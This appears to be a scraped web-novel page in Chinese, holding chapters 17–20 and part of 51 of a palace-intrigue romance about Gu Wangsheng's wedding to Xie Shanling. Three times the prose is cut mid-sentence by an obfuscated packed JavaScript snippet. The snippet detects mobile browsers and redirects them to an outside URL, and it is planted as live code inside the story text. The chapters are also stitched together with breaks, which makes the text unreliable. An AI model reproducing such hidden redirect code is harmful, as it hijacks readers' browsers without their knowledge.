可顾望笙哭天抢地,比刚刚诉说他被潘家报复都更要委屈。皇帝被他吵得头疼,把手中折子扔他身上:“闭嘴!你先前出了事,谢家急于撇清关系,因此来求朕退婚。” “儿臣是被诬陷的啊!罪名都没定,他们怎能退婚?!”顾望笙说着,爬起来就撸袖子,怒道,“都是潘家害的!我这就——” 皇帝忍不了了:“你刚还说再也不敢得罪潘家了!这就又要去惹事?!” “可儿臣那时也不知他们把儿臣的婚事搅黄了啊!”顾望笙两眼发直地撒泼,“若成不了亲,儿臣人也不想做了,就和潘家同归于尽吧!儿臣这就去潘家把他们门砸了,让他们还儿臣那么大的媳妇儿!” 皇帝:“……” 就这,白龙匪军的头目?哈哈哈哈哈……若他是就好了!那伙匪军就不会成为朝廷的心腹大患了! 皇帝还真怕这蠢货冲动之下跑去潘家砸门,一来给皇家丢人现眼,二来他也还不想和潘家闹翻。 想了想只好将正当值的谢大谢二叫过来,说:“当时你们出于顾虑要退婚,朕允了,可如今查明大皇子是被那人胡乱咬住的,还了他清白,婚事你们自行商议吧。” 谢大谢二面面相觑,还未说话,顾望笙在旁边抹着泪用不大不小的声音道:“我此回是为给善淩出气才得罪潘家,若局势不好也就罢了,我也不想连累谢府,可如今若谢府要顺水推舟解除婚约,传出去也怕别人说不好听的呢……” 谢大谢二:“……” * 谢善淩知道自己没那么轻易甩脱掉蛮横无理的家伙,可也想不到他黏回来的速度如此之快,上午刚出狱,傍晚就得意洋洋地跟在大伯二伯的身后回来了,还被奉为座上宾,母亲更是强逼着自己也出面作陪。 他们完全当解除婚约的事儿没存在过,谢善淩一提就都说那是权宜之计。 谢善淩只好面无表情地坐着听顾望笙甜言蜜语地哄骗众人。饭后母亲还巧立名目逼自己送顾望笙出府。 谢善淩不急不缓地走在前,顾望笙略略落后他半步,走到无人处,冷不防问:“这次……你担心过我吗?” “没有。”谢善淩冷淡道,“不过担心你会否连累谢府。” “呵……”顾望笙嘀咕,“没良心,我是为了谁……” “你是为了你自己。”谢善淩道,“我想你是知道了涂蟠一事,情急之下才袭击潘成栋,以此偷龙转日。我不过是其中的一颗棋子,所以我不会因此感动,也不会承你这份人情。” 顾望笙不服气:“就算没有涂蟠一事,我也谋划好了为你出气!” 谢善淩忽然收住脚步,顾望笙也急忙停住,盯着他转过来的脸。今夜月光皎洁,照映在谢善淩的脸上,原本的苍白肌肤显得不那么病态,更似玉白。 顾望笙与他四目相对,心头一阵无法自抑的悸动,放柔了声音问候:“你最近身体……” 谢善淩打断他的话:“到了,请自便。” 说完转身往回走,一步也不停留。 顾望笙:“……” 18.第 18 章 接下来时日顾望笙几乎天天往谢府跑,却不去见谢善淩,只给谢老太师夫妻问安、向谢大伯谢二伯请教京城局势,求指点自己将来方向、和小辈兄弟们联络感情、请求佘郡主不吝赐教如何正确养好一只谢善淩…… 佘郡主暗道,你问我,我又能问谁呢?问狠心抛下苦命的我的那死鬼吗…… 孩子那么倔,佘郡主觉得肯定是遗传自死鬼丈夫。虽然丈夫当年人人称赞温润如玉,待她更是小意温柔,可儿子只能从两人间遗传,那只能谁不反对就谁背这口黑锅。 这话不能对儿婿说。佘郡主便一味挑儿子好的方面,好在倒也很多。 顾望笙更是细心,从谢善淩衣食住行的偏好问到爱看的经史子集逐一过问,左手小册子右手毫笔,边听边记。 佘郡主看着牙都要被酸倒,连连喝茶压住,最后忍不住主动道:“善淩这些日子一直在他那院里,一会儿有时间你要不去看看?” 顾望笙腼腆道:“就快成亲了,也不急在这一时。婚后日日都有得看。”说着自己都不好意思,低着头一个劲笑。 佘郡主瞧他这小儿女情态,忍不住也笑了,回头送完他走,忙去儿子面前将这满天下难寻的好儿婿夸得天花乱坠,再三叮嘱儿子嫁过去后要与大殿下举案齐眉,别辜负人家一片真情实意。 谢善淩知道这些时日顾望笙在自己家作的鬼,母亲这边不必说,关键是大伯二伯与几位已任职的兄弟那儿,想必顾望笙已套去了不少有用的情报。 看着母亲一副被顾望笙卖了还帮着数钱的模样,谢善淩有苦说不出,只能敷衍着应了。 时日飞速,很快就到了成亲。 皇帝欲要争回面子给潘家难看,多次暗示顾望笙将婚礼办得更热闹,如今从谢府到大皇子府的整条路张灯结彩。 红绸子在地上从头铺到尾,没有一处断的。抬着大红礼盒的队伍一眼望不到头,还有数十对粉雕玉琢似的童男童女在队伍两侧边走边从花篮里抓东西朝旁撒。 路人眼尖见着撒出来的不止鲜嫩还带着露珠的花瓣,竟还有金笺纸包着的拇指大小的饴糖。除此之外,更有人被飞来的铜钱砸着了脸。一时间奔走相告,人人抢着拿糖和铜钱。 原本还有些人混在人群里要议论谢善淩的旧事,说说这男男成亲的不堪,被别人嫌弃地使劲儿推开骂道:“不捡钱就一边去,别耽误我们!” 锣鼓喧天,鞭炮齐鸣,响彻了半边四九城,红烟翻滚,火药的香气浓郁却干净,叫人闻着也觉喜气。 队伍过后,人人满载,久久不愿散去,聚在原地三三两两地笑着回味。 忽的有人狐疑:“你们不觉得奇怪吗?若谢善淩真和豲戎王子私通,皇上看在谢家的面子上饶他不死也就罢了,怎么还让他和大皇子结亲?还敲锣打鼓这般声势浩大?” “大皇子是废太子……” “废太子也是大皇子啊!看今日架势,皇上待他还是亲厚的!若我儿子要娶男妻,不把他打死不错了,还准他办这么好的排场?再说了,三皇子受宠吧?还娶的是孙丞相的掌上明珠。排场都没这么大。” “你这么说也对……” “岂止啊,我听人说城南城西城东都在街头支派了席位发喜饼,悦来楼、庆宾阁、太白轩都被大皇子包了下来开三天的流水宴,谁去都能吃,吃完还能领份喜礼!我一会儿就去!你们去不去?” “之前不还说大皇子是南边乱军的人吗?我听了都觉得荒谬,再一想,谢善淩当年之事好像颇多蹊跷了。他俩一个是谢家的子孙,一个是皇上的亲儿子,却都有那样荒诞的传闻,而那些传闻都是在他俩得罪了那谁家之后才传出来的,先前可从未听闻……你们细想想吧!” “你的意思是咱们都被人当傻子使了?” “呵呵,恐怕是这样。” …… 关于谢善淩要如何嫁过去,譬如要不要凤冠霞帔,其实顾望笙客气地询问过佘郡主的意思,还托佘郡主询问谢善淩的意思。 佘郡主自然来问儿子,儿子兴趣缺缺,摆弄着窗台上的盆栽道:“随意。” 先前婚事是谢善淩自个儿应下的,一副乐意嫁的模样,如今却这样子,佘郡主却也没觉得矛盾。中途发生了那些曲折,谢善淩发过病,他病后总是这样性情大变。 佘郡主不敢表露得太担忧影响他,只得在心中暗暗长叹,然后强颜欢笑。 “大殿下是说无需逼迫你穿女子衣饰,就穿和他一样的即可。”她道,“倒是娘有些私心……娘一直留着当年嫁给你爹时的凤冠盖头,那时怀着你,还和他说笑以后不知是传给儿媳妇还是闺女。” 谁料世事多变,儿媳妇也没有,闺女也没有,丈夫都没有了。 谢善淩听她说这话,急忙扭头关切地看她。她其实很少在他面前提起父亲,可他知道她并不是不怀念父亲,只是怕自己听了伤怀。 谢善淩不由愧疚起来,半晌,道:“娘,儿子不孝……” 佘郡主眼中含着热泪忙道:“你没有不孝,善淩,你没有做错,只是时世不容。娘从未怪过你,只是心疼你受病痛折磨之苦,望你今后能振作起来,好好儿的。” 谢善淩的眼中也酸胀起来,想了想,笑道:“我记得小时候见过娘的凤冠盖头,确实是精美绝伦。我既十八岁前都被当女子养大,如今也算是尽孝道,全娘的心愿,就戴凤冠出嫁吧。” 佘郡主又高兴又担忧:“你无需为了娘……” 他打断她的话,道:“并不勉强。何况……其实两个男人拜堂有些尴尬,我拿盖头挡一挡脸就好多了。” 那不是更尴尬吗……佘郡主欲言又止,怕说破之后儿子更更尴尬,又细细打量之下见他确实是一派平和随意的模样,想了又想,最终点头。 于是到了成亲这日,谢善淩的喜服倒是男子款式,却头戴着凤冠,凤冠上顶着盖头。凤冠稍稍做了些修整,没先前那张扬,谢善淩戴着不显突兀。 时下婚娶,多是新郎官儿在新娘的娘家府门前等候,喜娘将新娘背出来放到喜轿里,可谢善淩盖头盖得,却不好意思让喜娘背自己,难得提出一条意见,想自己走出去。 佘郡主将意思告诉顾望笙,顾望笙当时爽快地应允了。 然而!到了临了,谢善淩正要从椅子上起身,听见窗外一阵热闹,大姐谢婉青在院里欢笑着大声道:“可真是一刻也等不了了么?” 熟悉的男子嗓音道:“还真是等不了。我来背善淩上轿!” 顿时满院子起哄声。 谢善淩:“……” 他默默地抬起手,将喜帕往下拉了拉。但立刻就被人拉回原位。他又抬手往下拉拉,又被拉回去。他深呼吸,攥住喜帕再次下拉,这回不松手,与那股要拉回去的力量默然抗衡。 喜娘幽幽道:“少爷,您那样拉法儿,喜帕走两步就要掉啦。” “找个东西卡住……”谢善淩低声回应,倔强地依旧攥着喜帕试图下拉。 “那多难看。”喜娘继续幽幽,“松手少爷,喜帕都被您攥皱了。” 两人僵持间,外头的人已经刁难过一番新郎官儿,终于肯从门前让开,佘郡主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是他在母妃耳边不断诉说委屈,让母妃多抽顾裕骐几个大嘴巴子,把那张脸抽得肿老高。 顾裕珩看不惯顾裕骐的脸久矣! 明明一母同胞,顾裕骐是个残疾,却传承了母妃的好相貌,不像他,不似母妃艳丽,也不似父皇英挺。虽也没影响什么,终究心中没滋没味儿。 顾望笙将谢善淩抱到喜堂才放下,谢善淩终于双脚再度落了地,手里依旧抓着刚下轿时被顾望笙塞到手中的红绸。 随着礼官念唱流程,一对新人各执着牵红一端,逐一拜过天地、代皇帝受礼的皇室宗老、谢家长辈,眼看就要夫妻对拜,礼官话还没说完,顾望笙已经抢先一步朝谢善淩弓腰低头,而谢善淩才堪堪优雅地挪动脚下方向朝向他—— 宾客们忍不住哄堂大笑,仗着喜事不顾身份大声调侃:“可把你急坏了!” 眼看着顾望笙的脸也被众人羞红了,大家越发乐呵。 正如此其乐融融,突的一道略显尖利的声音刺破这番和谐:“好久没见过这么热闹的婚礼了,不想竟是在两个男子的亲事上!” 顾望笙顿时脸色一黑,扭头看向来人。 “我大好的日子,谁放狗进来了?!” 潘成栋穿一身白麻布衣,脸却比衣裳更加惨色,想是还未恢复完全。他脚步轻浮,眼中满载恨意。 一左一右跟着两个高壮黝黑、挎着军刀的男人,大皇子府的护院想上前拦,却被这俩男人一眼就给瞪吓住了。 潘成栋踉踉跄跄来到顾望笙面前,喘一喘气,冷笑道:“来的都是客,陛下都说了让我们以和为贵,我今日还是带着贺礼来的,大皇子殿下莫非不把陛下放在眼里?” 顾望笙一时没说话,潘成栋得意极了,示意身边的壮汉将手中礼盒打开。 众人一看,脸色都颇难堪。 ——一个礼盒里是碎裂开的送子观音,另一个礼盒里是一个小棺材!加上潘成栋这一身打扮,根本就是来找茬的。 19.第 19 章 是可忍孰不可忍,谢善鸣厉声呵斥:“潘成栋你别欺人太甚!” 潘成栋一摊手:“我诚心恭祝新人升官发财,多子多福,出门的时候送子观音还好好的,一路上没碰没磕,谁知道怎么就裂开了,呵呵。” 视线幽幽地移到谢善淩的身上:“一个男人嫁另一个男人还盖着红盖头,你谢家八辈子的脸面都让你丢光了,哈哈……怪不得为了几个女人就往死里整我,其实你就是女人吧?” 顾望笙正要发作,手中牵红被另一端扯了下,急忙看去。 “大殿下。”谢善淩的声音听起来颇为冷静。 顾望笙急忙应道:“我在!你别生气,我马上料理他……” 话音未落,谢善淩便轻轻摇了摇头。顾望笙以为他要忍让,正要着急,谢善淩道:“你把我盖头揭了。” 顾望笙发出短促的疑问声,一时没反应过来,没有动。直到谢善淩重复了一遍,他回过神来:“你要干什么?” “照做,否则我就自己揭。”谢善淩说。 “……”犹豫了下,只好照做。 便露出了谢善淩今日被喜娘花言巧语哄着涂抹了些脂粉的脸。 其实也只是往两颊和嘴唇上点了点绯红胭脂,让谢善淩病白的脸瞧着有些血色。可仅仅如此,便已是明眸皓齿的惊艳之色。 谢善淩把自己手上的牵红塞到顾望笙手里,示意他抓好别掉地上了。顾望笙这才回过神来:“怎么……” 这声儿一出口,软得把他自己也给肉麻住了,忙清清嗓子。 谢善淩不理他,转身朝一旁走去。 刚刚一件事接着一件,众人这会儿都没反应过来,不知谢善淩要干什么,只顾怔怔地视线跟着他移动,直到—— 他走到一个立几旁,拿起摆设在上面的烛台。因是白日,此刻并未燃烧,只是插着一根精致的描画着龙凤交缠的粗红烛。 谢善淩拔掉红烛,下一瞬猛然转身,将烛台伸向身后潘成栋脸上,尖利如针一般的铁刺直直地指向潘成栋的眼睛! 绝大多数人对于猛然朝眼睛袭来的东西天然恐惧,尤其还是尖锐之物。 虽然左右两个壮汉眼疾手快地将潘成栋拉开,潘成栋依旧被吓得膝盖一软,差点儿跌倒在地,好在被那俩人及时拎起了胳膊才不至于太过狼狈。 潘成栋本就大伤未愈,今日撑着一口气来想气死谢善淩和顾望笙,此刻自己却先被气得心脏狂跳,耳边轰隆。 转头四顾,见众人瞅自己的脸色满是轻蔑。都在窃窃私语,却又怎样都听不清他们在议论自己什么……想来只有难听的话…… 越想越觉得头也痛不欲生,心口也痛不欲生,胯|下更是…… “谢善淩!你敢动我?!”潘成栋恼羞成怒的嘶声吼叫,试图挽回些许的颜面。 谢善淩依旧举着烛台朝着他,一张明明芙蓉花似的明媚面孔此刻冷漠无比。 “我敢,但你不敢让那两人让开。潘成栋,你既想报复我,又不敢真和我一对一地干,恰如你又要奸|□□死民女,又不敢承担罪责,你是我见过最堪称鼠辈之人,你潘家祖宗八十代的脸也都给你败尽了。” 此时大堂内外都一片安静,唯独谢善淩口齿清晰,说的话一字一顿,落地有声。 他每说一句,潘成栋的拳头就更握紧一分,牙几乎咬碎,却确实不敢让左右护卫离身。 顾望笙很难将自己的视线从谢善淩此时的脸上拔开,却还是艰难地拔了,因为他怕潘成栋身边那两人突然动手,不得不防备地盯着。 但他没有阻止谢善淩的意图。 僵持不下之时,皇室宗老提醒:“潘公子,今日是大皇子的大喜之日,本王代陛下受完礼,还要回宫复命。” “寿王爷,您老可看得清楚,我好心来送贺礼,是谢善淩拿烛台欲要伤我,您在陛下面前可要替我分辨一二。” 寿王并不想掺和进来。 他不近谢家也不近潘家,甚至有些讨厌谢善淩这后生邪门。然而两相对比惨烈,一个面如冠玉正色凛然,一个猥琐槁木,实在也是令人无可奈何呢…… 寿王正要开口斥责潘成栋,潘成栋绷不住了,顺坡下驴道:“不过既是寿王爷开了口,我便算了。放下贺礼,我们走!” 说完就要溜之大吉。 谁料,他刚到门口,忽的顿住脚步,背脊僵直,接下来竟步步倒退回来。 顾望笙原本没顾上那家伙,赶紧看谢善淩好不好,却见谢善淩望向门口的神情愕然中掺杂着复杂微妙的情愫,顺着他视线而去—— 随着潘成栋一步步倒退,身形高挑、身着甲胄的少年将军一步步走进来。他神色冷然,年纪虽轻,却很威严。 就连潘成栋身边那两个老兵也不复嚣张,局促地低着头跟着后退。 “……四弟?”三皇子顾裕珩回过神来,在一片寂静中忍不住哧的笑出声,左看看右看看,连声赞叹,“好好好,今儿我算没白来。” 来的正是四皇子顾裕泽。 他走到先前潘成栋挑衅的位置才终于停住。此时潘成栋已退无可退——他再退,身后就是无法无天的顾望笙和还拿着烛台虎视眈眈要戳死他的谢善淩。 潘成栋常仗势欺人但不是谁都敢欺,他先在心中衡量,看人下菜碟。 顾望笙没有母妃,失踪多年,自幼不被皇帝亲近,舅家也放弃了他,就是好欺负; 谢善淩所在的谢家如今都只是些边角零碎,何况当日谢善淩步步紧逼要他性命,不得不撕破脸皮,而脸皮已经撕破,试探出谢家只是退让而无还手之力,自然潘成栋就更肆无忌惮。 四皇子却大大的不一样。 他母妃蔺贤妃在后宫的地位仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14802611|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次于菅贵妃,蔺大将军府全力支持他争夺大宝之位。 他自身亦是争气,自幼文武双修,十多岁跟随舅舅入营,十五岁时招揽了四十九个有能力与抱负的官宦贵族子弟组建凌风飞骑,以奇兵突袭为最大特色,在边境履立奇功,朝野内外称誉不绝。 而那四十九个飞骑成员的家族自然而然便站了队。 今年初四皇子奉旨去到潘国梁所在的西北营区督查军饷粮草一案。这些年的账目有异,叫兵部给查出来了。 因四皇子与谢善淩的关系,潘国梁原本以为这会是一场硬仗,却不料四皇子为人竟不迂腐,他主动告诉潘国梁,他多年身在军营,明白马不吃草不能跑的道理,不是朝廷里那些舒怡喝茶的书呆子文官。 至于潘家与谢善淩的恩怨纠葛,他并非不在意,只是设身处地一想,也能理解潘家,因而不会因私废公。 潘国梁私下里感慨过,他不全信四皇子这番说辞,却信四皇子真无害于潘家,至少现在是这样。他认为对方是在施展王道,拉拢迟迟未站队的自己为他夺储助力。 潘国梁依旧不愿表明态度。皇帝还不到非立储君不可的时候,他一旦站队,恐怕生出平白的波澜。 可面对四皇子的频频示好,潘国梁也不会不知好歹,因而特意叮嘱过儿子谨慎对待,对谢善淩的仇怨里万不可牵扯进四皇子来。 四皇子在战场上刚强勇猛,却又有着朝廷里圆滑的手段心性。有时候潘成栋暗暗觉得,即算皇帝再宠爱菅贵妃和三皇子,若非四皇子和谢善淩那点子破事儿,说不定储君的位子其实有定论了。 啧啧,由此可见,谢善淩真是走到哪儿祸害到哪儿。 但潘成栋来不及在心中多骂谢善淩几句,顾裕泽已然沉声唤道:“杜彬、石飞。” 两个老兵急忙跪下。 “你二人的职责是护卫潘将军回京述职,谁允许你们擅离职守来到这里胡闹?” 顾裕泽的语气并不重,却有着不怒自威之感。 杜彬石飞哪敢实话实说就是潘将军默许的。他们是潘国栋的心腹下属,懂得一些局势进退,明白四皇子不能得罪。 于是只能自己背下这口黑锅,叩首认错:“属下知错,愿领将军责罚!” “带出去二十军棍,打完送医馆养伤,伤好立刻返回西南营,由校尉降一级为副尉,劳役三个月。” 顾裕泽话音落下,杜彬石飞心中叫苦,却只是再度叩首:“属下领罚。” 原本笔直立在门槛外面的两个同样甲胄在身的兵士立刻走进来,一人领着一个去了外头,很快就传来棍棍到肉的闷响声,竟是当场就在那打了起来。 在这期间,谁也没再吱声,心中默数着二十军棍。 而顾裕泽的视线良久地落在了谢善淩的脸上,眼中深邃,似有着千言万语,却一字也不能出口。 20.第 20 章 “想必你就是我四皇弟了!见是头一回见,却早已听过父皇对你的颇多赞誉。” 顾望笙走了一步挡到两人中间,笑着寒暄,一派亲近模样,好似刚刚那黑脸的人不是他。说罢,很是自然地转身将谢善淩的喜帕盖回去。 谢善淩:“……” 就在这空档里,外头兵士进来禀报已打完军棍。顾裕泽看向不知所措的潘成栋:“他们既是因你受罚,你该陪他们去医馆一趟。” 潘成栋此刻巴不得,闻言低着头匆匆走了。 顾裕泽的目光又投向谢善淩与顾望笙。 顾望笙握住谢善淩纤细的手腕,低声哄了两句,另一只手拿走他手中的烛台放回立几。谢善淩肯给他面子,并没有反抗。 顾望笙将龙凤烛插回烛台上,环顾四周,笑着说:“护院守卫不严,让野狗闯进来闹了一场,大家见笑了!” 顾望笙走开这会儿,顾裕泽的视线又牢牢地停留在了谢善淩的身上。 寿王心中此时真是一团乱麻只想骂娘。 好不容易送走了潘家那个瘟神,眼下却又杵着个眼睛都快长谢善淩身上去的顾裕泽……可别是特意跑来抢亲的啊! 他可真怕顾裕泽一冲动,今儿这就彻底收不了场了!还要连累他! “好了,望笙,大喜的日子别说其他,快接着拜堂。” 寿王心急如焚地催促,只想早点完成任务回宫复命,只要自己不在现场,顾裕泽和顾望笙兄弟阋墙打起来也怪不到自己头上! 谢家长辈也纷纷出言相劝,顾望笙点点头,朝顾裕泽一扬手:“四皇弟,二皇弟与三皇弟在那边,你们站一起观礼吧。” 众人暗道你可真会安排! 顾裕泽听了却站着没动,只是面无表情地与再度将谢善淩挡了个严严实实的顾望笙相互看着。 寿王与谢家众人的心都悬到了嗓子眼儿。眼瞅着顾裕泽腰上挂着剑呢!也不知猎户的身手如何…… “咳,裕泽……” 寿王话刚出口,顾裕泽似是终于从一场漫长的回忆里抽身,语气平稳道:“我有军机要事面呈父皇才匆忙返京,恰好路过皇兄府外,听闻潘成栋在闹事,进来一看。如今事了,我便不耽误了。” 顾望笙假惺惺地挽留:“有这么急吗?留下来一会儿再吃个喜酒……” 顾裕泽打断他的话,抬手抱拳:“失礼。” 言罢,朝寿王及谢家诸长辈逐一行过礼节,最后又看了谢善淩的方向一眼,终于转身朝外走去,一步未曾停留。 “……好了好了,别误吉时,礼官,继续唱礼!”寿王催道。 礼官急忙安排起来,喜娘得到眼神,机灵地上前从顾望笙手中接过牵红一端放回谢善淩手中,扶着他转好朝向——与顾望笙两两对着。 喜庆的乐声又奏了起来,谢善鸣去院外张罗人重新放两挂鞭炮。震天的声响中,礼官别具特色的腔调依旧高亮。 “夫——妻——对——拜——” 谢善淩与顾望笙同时朝对方弯下腰去。 “礼——成——” * 谢善淩安静地坐在新房床沿,一动不动。 其实刚刚顾望笙低声问过他要不要一起出去待客,他摇了头,自己选的来这儿坐着等。 他这会儿无心应酬,只想一个人待着。最好是永远都能一个人待着,谁也不要来打扰。 可是清静的时光总是过得特别快。 也可能是顾望笙太迫不及待。 总之,谢善淩感觉没静多久顾望笙就进屋了。他垂眸,从喜帕下看着停到面前的靴子。 在旁边无聊了许久的喜娘见来活儿,立刻热络起来,说词一串串从嘴里出来,唱曲儿似的。 谢善淩与顾望笙双双沉默,一一照做,终于将流程过完,喝下合卺酒。 喜娘再三道过恭喜,双手捧着顾望笙给的两颗沉甸甸的金裸子,笑得合不拢嘴地出去了。外头还有她的礼。 谢善淩虽然看不见喜娘的神情,听她声音也能想象出此刻模样,不由扯了扯嘴角。 但随着顾望笙坐在身边,床微微一动,谢善淩马上收起了笑意。 不是有意,也不是嫌恶,他此刻心如止水……以及略微地有一点点紧张。 顾望笙这人行事也是有点邪门的,谢善淩把握不准今晚他会不会要求真的洞房。 谢善淩不想,可若顾望笙要求,他也不打算拒绝。谁还债还讨价还价、拿姿作态的?没有这个必要。一切都无非是一眨眼就过去的事儿。顾望笙高兴就好。 屋内安静了一会儿,顾望笙才开口说话。“我揭你盖头了啊。” 谢善淩轻轻地应了一声。 顾望笙盯着喜帕上绣着的龙凤呈祥看了又看,花纹繁复,看得他脑子都有点晕了。 明明刚才在堂前已经揭过一次,可如今屋里只有两人单独挨坐着,而且已经礼成,是夫妻了。再者说,一般而言,揭完盖头的下一步就是…… 完蛋。头更晕了,目更眩了,呼吸都有点困难了。 当日在清静峰上他虽是刻意说了些浑话唬谢善淩,但也掺杂着真话,譬如说他真的二十五了还是童子之身……也是真的憋久了偶尔会看些什么排遣一二……是真挺想和妻子行周公之礼…… 他觉得自己这也不能说寒碜,没病没痛的,寻常男子这岁数爹都不知道当几回了…… 何况自己原本就是有未婚妻的。 虽然与想象有小小的出入,但抛开那小小一点,分明人是大大地、活生生在那儿的。按理说自己十八、二十,也就是七、五年前早该和谢善淩成亲了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14807324|157217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今终于成了,流程一个不落,那无论前因如何,总之是真夫妻。 可是……可是谢善淩分明是不愿的。 思及此,顾望笙原本沸腾的热血凉了下去。 逼谢善淩下嫁是为了义军大事,无耻他也认了,可那些事并不到需要强迫谢善淩圆房的份上。 顾望笙的心中正愁绪万千不知所措,等了许久也没等来盖头揭开的谢善淩低声询问:“怎么了?” “……我……你、你怎么没自己揭了?还留给我揭?”顾望笙喉头一片干涩地问。 谢善淩:“你若不想揭,我可以自己揭。” “不是!”顾望笙哎了几声,舔了好几下嘴唇,腾的起身,急得在床前转了几圈。 谢善淩:“……” 怎么好像被逼上梁山的人反倒成了顾望笙一样? 顾望笙越转约晕,停住,深呼吸,看着谢善淩:“我问你,你好好回答,别弄巧。我问你,你……怎么自己不揭盖头,留着给我揭?” “这问题重要吗?”谢善淩问。 “重要!”顾望笙道,“你也不能反问,总之就回答!” 谢善淩都无奈了:“小点声,若被人听去墙角你就高兴了。” 顾望笙坐回他身边,小声道:“我注意了,目前无人偷听,但还是多谢提醒……你回答我。” 谢善淩只好回答他:“寻常婚俗如此,没有特别原因。” 顾望笙:“可你嫁给我不是被迫的吗?为何这么遵守婚俗?” “……”谢善淩回过味来,反问,“你希望我反抗?” 这人的脑子好像吃多了那个药丸。 “啧,当然不是,我的意思是……”顾望笙牢牢看着喜帕,好像能透过它看见下面那张惊鸿一瞥的脸,“我的意思是……” 是你是否其实已经是甘心、真心地与我成亲……那我们是否算是真夫妻,一会儿能不能真洞房…… 这种话叫男子汉大丈夫怎么好意思说得出口! 谢善淩又等了一阵,轻叹一声气。 “虽不知你究竟又在想什么,但我回答你吧。婚姻大事,我虽是为了报恩偿债才嫁给你,可既然已经答应,就不必扭捏作态。我会将你确实地视作我的夫君,虽不会在那件事上辅佐你,其他作为一个寻常妻子方面我都会尽力而为。” 顾望笙的一颗心随着他这番话起伏不定,一时被浪高高抛起,一时又被狠狠打下,不知该如何是好。 谢善淩等了再等,忍不住道:“你到底揭不揭盖头?若不想揭你就说一声,我自己揭。” 顾望笙正反复思量黯然神伤,闻言恼道:“别催我!你干嘛非急着揭开?” 他语气不好,谢善淩就也不好起来:“这凤冠你来戴戴!那么沉,我顶在脑袋上大半天,脖子都要断了!” 50-60 第51章 ◎您未免太难伺候了。◎ 辞别母亲及谢府诸人, 谢善淩与顾望笙简单收拾后,出发南下。 此行光明正大,而且是代三皇子来平事儿,三皇子慷慨地拨了几个高手跟在后头保护兼监视。 顾望笙无所谓, 反正在京城时也没少人监视他。 他只是越发摆出一副扶不上墙的烂泥模样, 非常刻意地拖延行程, 和谢善淩游山玩水、吃吃喝喝,以赖皮龟速前行。 三皇子接到高手飞鸽传书告状, 本来他想算了,他很能理解顾望笙, 大家你糊弄一下我糊弄一下,事儿就都糊弄过去了。 可不巧, 父皇也知道了顾望笙一路磨洋工的事儿,翻着白眼让他去管。 三皇子便翻着白眼回书,勒令顾望笙改走水路。水路总没法儿吃喝玩乐了。 * “唉, 坐船是没那么累了,可惜吃喝玩乐的乐趣没了,每天风景也就沿岸那样, 很快就过去了。”顾望笙叹气道。 谢善淩坐在一旁看书, 没接话。 顾望笙瞥他:“成天就是看书看书,书痴似的。难得出来,你看看风景。” 谢书痴翻过一页,头也不抬地怼回来:“你不是刚说每天风景也就沿岸那样,很快就过去了吗,有什么好看。” “那也比你整日就是看书好看吧。”顾望笙来拉他, “说真的, 你看看风景, 其实还挺好看。” 谢善淩淡淡道:“没心情。” 顾望笙瞅他一阵:“还跟我生气呢?你这小心眼儿……”声音在谢善淩抬眼投过来的并不友善视线中渐渐小去。 谢善淩收回视线,继续看书。 “哎呀……其实我非拉你来,虽说也是为了那个什么,但其实也是为了让你出远门散散心。”顾望笙一脸真挚,“真的,大夫说的,换个地方可能开朗一些。” 见谢善淩还是不理自己,顾望笙熬不住,戳戳他道:“你若实在不愿意帮我出主意,难不成我还真能对你怎么样吗?咋想的呢?” 这语气听得谢善淩不舒服,好似自己处于弱势,怕了顾望笙似的。 他当即冷声道:“你该担心我对你怎么样。” 只要他理自己,顾望笙就舒服了,笑着用暧昧尽在不言中的语气问:“好,你要对我怎么样?” 说归说,这人还动起手来。 顾望笙抓起谢善淩的手朝自己脸上拍,压出越发低沉的嗓音来:“又赏我巴掌?”往下挪到脖子,“掐我脖子?”继续,“掏我心?还是……” 谢善淩使劲抢回自己的手,皱眉低头看了一阵,神情颇为嫌弃。 顾望笙靠着墙,眉头和嘴角都快挑到天上去了,憋着笑继续调戏:“怎么现在才嫌这手啊?明明前……” “住口!”谢善淩瞪着他,正要说什么,忽的停住,和顾望笙一齐警觉地看向舱门口。 “大殿下,前面要经过一镇名蕲镇,以当地独有的蕲蛇出名,县令钱大威提前得了信儿,原想倾力接待您,无奈当地最近闹瘟,唯恐沾染给您,便……” 顾望笙:“知道了,没事。” 他正要问蕲镇的瘟疫怎么回事,门外男子接着说:“但您从旁过,钱大威恳求殿下垂怜接见,允许他登船一仰殿下风采,聆听殿下金玉训言。” 顾望笙正要开口,男子道:“他还会随行奉上三万两孝敬费。” “……行,让他来吧。”顾望笙语气里透着喜悦地说。 原本门外男子不说这话他也打算接见,问问瘟疫的事儿。既然对方主动说有钱要孝敬,那他不收白不收,也越发装出个不是玩意的样儿。 一路走来,顾望笙已经被动敛财数十万两白银了。 说起来好像不多,皆因他分到的只有零碎,大头都在三皇子顾裕珩派来虎视眈眈盯着的人的眼皮子下十分上道地上缴给了对方。 顾裕珩觉得这十分理所当然。 非要说的话,确实理所当然。因为这些人大多是图三皇子的赏识,顾望笙算借了他的势。 否则单只是一个无权无势不受宠的废太子,孝敬大概还是会有,但总共加起来有没有五万两就难说。 